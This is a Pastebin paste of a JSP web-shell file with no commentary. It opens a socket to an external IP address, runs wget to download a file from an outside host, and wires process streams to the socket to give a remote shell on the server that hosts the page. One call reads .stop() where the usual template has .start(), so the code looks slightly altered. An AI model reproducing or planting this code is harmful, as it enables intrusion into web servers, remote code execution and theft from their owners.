Advertisement
Guest User

Untitled

a guest
Feb 19th, 2013
316
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.06 KB | None | 0 0
  1. <%@
  2. page import="java.lang.*, java.util.*, java.io.*, java.net.*"
  3. %>
  4. <%!
  5. static class StreamConnector extends Thread
  6. {
  7. InputStream is;
  8. OutputStream os;
  9.  
  10. StreamConnector( InputStream is, OutputStream os )
  11. {
  12. this.is = is;
  13. this.os = os;
  14. }
  15.  
  16. public void run()
  17. {
  18. BufferedReader in = null;
  19. BufferedWriter out = null;
  20. try
  21. {
  22. in = new BufferedReader( new InputStreamReader( this.is ) );
  23. out = new BufferedWriter( new OutputStreamWriter( this.os ) );
  24. char buffer[] = new char[8192];
  25. int length;
  26. while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
  27. {
  28. out.write( buffer, 0, length );
  29. out.flush();
  30. }
  31. } catch( Exception e ){}
  32. try
  33. {
  34. if( in != null )
  35. in.close();
  36. if( out != null )
  37. out.close();
  38. } catch( Exception e ){}
  39. }
  40. }
  41. %>
  42. <%
  43. try
  44. {
  45. Socket socket = new Socket( "74.125.39.18", 443 );
  46. Process process = Runtime.getRuntime().exec( "wget http://piticot.altervista.org/b.txt" );
  47. ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).stop();
  48. ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
  49. } catch( Exception e ) {}
  50. %>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement